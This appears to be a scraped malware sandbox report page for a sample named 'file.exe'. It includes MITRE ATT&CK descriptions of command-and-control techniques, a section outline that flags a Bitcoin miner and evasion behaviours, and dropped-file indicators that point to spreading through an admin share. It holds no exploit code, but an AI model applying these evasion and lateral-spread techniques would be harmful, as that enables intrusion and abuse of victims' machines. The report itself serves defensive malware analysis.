Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Initial Sample

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

Bitcoin Miner

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Exploits

Bitcoin Miner

Compliance

Networking

DDoS

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\SMB.exe

C:\ProgramData\Svchocpu.exe

C:\ProgramData\X64.dll

C:\ProgramData\X86.dll

C:\ProgramData\spread.txt

C:\ProgramData\spread.txt:Zone.Identifier

\Device\Mup\192.168.2.6\ADMIN$\spread.txt

\Device\Mup\192.168.2.6\PIPE\srvsvc

Static File Info

General

File Icon

Windows Analysis Report
file.exe

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre